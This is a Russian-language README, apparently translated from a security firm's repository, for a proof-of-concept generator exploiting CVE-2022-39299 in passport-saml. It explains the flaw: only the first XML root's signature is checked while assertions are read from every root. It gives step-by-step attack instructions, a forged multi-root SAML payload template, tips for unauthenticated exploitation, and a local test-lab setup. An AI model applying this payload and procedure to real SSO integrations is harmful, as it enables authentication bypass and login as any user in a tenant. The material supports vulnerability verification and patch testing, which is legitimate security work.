
Простой генератор PoC-эксплойтов CVE-2022-39299 для обхода аутентификации в интеграциях SAML SSO с использованием уязвимых версий passport-saml
Рекомендация : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Патч : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Пример базовой полезной нагрузки, извлеченный из тестовых случаев node-saml: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml
Автор ошибки: felixwilhelm
Автор генератора эксплойта (легкая часть): Francesco Lacerenza
Удаленный злоумышленник может обойти аутентификацию SAML SSO на платформе, используя CVE-2022-39299, затрагивающую библиотеку passport-saml.
Публичного эксплойта не было (на момент написания), и рекомендация была опубликована 10.12.2022 с минимальной/нулевой информацией. Doyensec разработал рабочий генератор доказательства концепции (PoC) для проверки проблемы на мультитенантных платформах, где администратор арендатора может настроить SAML SSO с произвольным IdP.
Как указано в рекомендации:
Для успешной атаки требуется, чтобы злоумышленник владел произвольным подписанным XML-элементом IdP. В зависимости от используемого IdP полностью неаутентифицированные атаки (т.е. без доступа к действительному пользователю) также могут быть возможны, если можно инициировать генерацию подписанного сообщения.
Уязвимая проверка находится в функции validatePostResponse в файле passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
В частности, validateSignature проверяет, что doc.documentElement во всем XML-документе содержит действительную подпись. Поскольку свойство documentElement возвращает первый корневой узел документа, оно проверит подпись только на первом корневом элементе.
Функция продолжает проверку на наличие только одного утверждения (assertion) в XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
В результате XML-парсер будет анализировать XML-документ с несколькими корнями. В то время как подпись может применяться только к одному корневому узлу, XPath может проходить через несколько корневых узлов для поиска элементов аутентификации и авторизации.
В итоге, один корневой узел может быть подписан (например, общее сообщение об ошибке SAML), а затем другой, неподписанный узел, может содержать изменяемую информацию об аутентификации и авторизации. Таким образом, злоумышленник может подделать информацию об аутентификации и получить доступ к любой учетной записи в рамках арендатора.
ПРИМЕЧАНИЕ: Успех эксплуатации полностью зависит от внутренней логики аутентификации, связанной с использованием библиотеки passport. Если логика аутентификации полностью доверяет объекту аутентифицированной сессии, полученному в результате passport.authenticate(...PASSPORT-SAML_OPTIONS...), то, вероятно, она уязвима.
openssl в папке генератора PoC:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
В качестве альтернативы используйте те, что находятся в этом репозитории.
На целевой платформе войдите как администратор в панель интеграции SAML SSO. Затем установите сертификат, используемый для проверки подписей от IdP, как сертификат из этой папки.
Настройте payload_appendix.xml, указав элементы authn и authz, необходимые платформе для аутентификации пользователей SAML SSO. Эту информацию можно найти в документации или создав рабочую интеграцию SSO для изучения допустимых элементов аутентификации.
Выполните следующую команду для генерации подписанного SAML-ответа с множественными корневыми элементами, содержащего ваши поддельные данные.
python3 payloadGenerator.py
SAML-ответ с множественными корневыми элементами имеет следующую структуру:
<!— НАЧАЛО ПОДПИСАННОГО СООБЩЕНИЯ ОБ ОШИБКЕ —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— КОНЕЦ ПОДПИСАННОГО СООБЩЕНИЯ ОБ ОШИБКЕ. НАЧАЛО НЕПОДПИСАННОЙ ИНФОРМАЦИИ ОБ АУТЕНТИФИКАЦИИ—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— ПОДДЕЛЬНАЯ ИНФОРМАЦИЯ AUTHN И AUTHZ —>
</saml:Assertion>
</Response>
ПРИМЕЧАНИЕ: Если вы хотите использовать эту уязвимость, не имея доступа к конфигурации IdP, просто измените payloadGenerator.py, заменив переменную signed_base_payload_unicode, используемую для построения конечной полезной нагрузки. Для работы вы должны заменить ее на подписанный SAML-ответ, не содержащий утверждений (Assertions). Удачи в поиске способа получить его от IdP цели (логика рассматривается в каждом конкретном случае, и литература отсутствует).
В организациях с включенной интеграцией SAML SSO злоумышленники могут обойти аутентификацию и войти в систему под любым пользователем в арендаторе.
Несмотря на то, что в рекомендации указано, что злоумышленник может использовать «произвольный подписанный XML-элемент IdP», библиотека passport-saml предотвращает любые XML-сообщения, содержащие несколько утверждений (см. фрагмент кода в разделе описания). Ограничение требует, чтобы злоумышленник получил подписанное SAML-сообщение, не содержащее утверждения, например, сообщение об ошибке. Наличие таких сообщений зависит от реализации IdP.
Например, SAML-ответы без утверждений напрямую поддерживаются библиотекой Auth0 node-samlp. См. по адресу https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
Приведенный выше пример показывает возможность внедрения путей кода, ведущих к подписанным сообщениям без утверждений, даже при использовании технологии Auth0. В этом смысле IdP клиентов могут содержать такие шаблоны.
Если злоумышленник найдет способ вызвать такие сообщения, полностью неаутентифицированные атаки (т.е. без доступа к действительному пользователю) также могут быть возможны.
В заключение, мультитенантные платформы, допускающие пользовательские интеграции SAML SSO для каждого арендатора, уязвимые для CVE-2022-39299, потенциально позволяют обход аутентификации всякий раз, когда IdP клиента поддерживает подписанные сообщения об ошибках SAML без утверждений.
Мы провели локальное тестирование, используя следующие ресурсы:
Сгенерируйте сертификат подписи IdP в папке генератора PoC
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
Запустите IdP следующей командой в папке, содержащей сгенерированные сертификат и ключ
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
Приложению требуется дополнительная настройка для работы с локальным IdP. Просто заполните файл passport-saml-example/config/config.js информацией от IdP.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
Также необходимо отредактировать package.json, чтобы использовать уязвимые версии passport. Извлеките все необходимые версии из целевой кодовой базы, если они доступны.
Когда все готово, просто запустите приложение:
npm install
npm start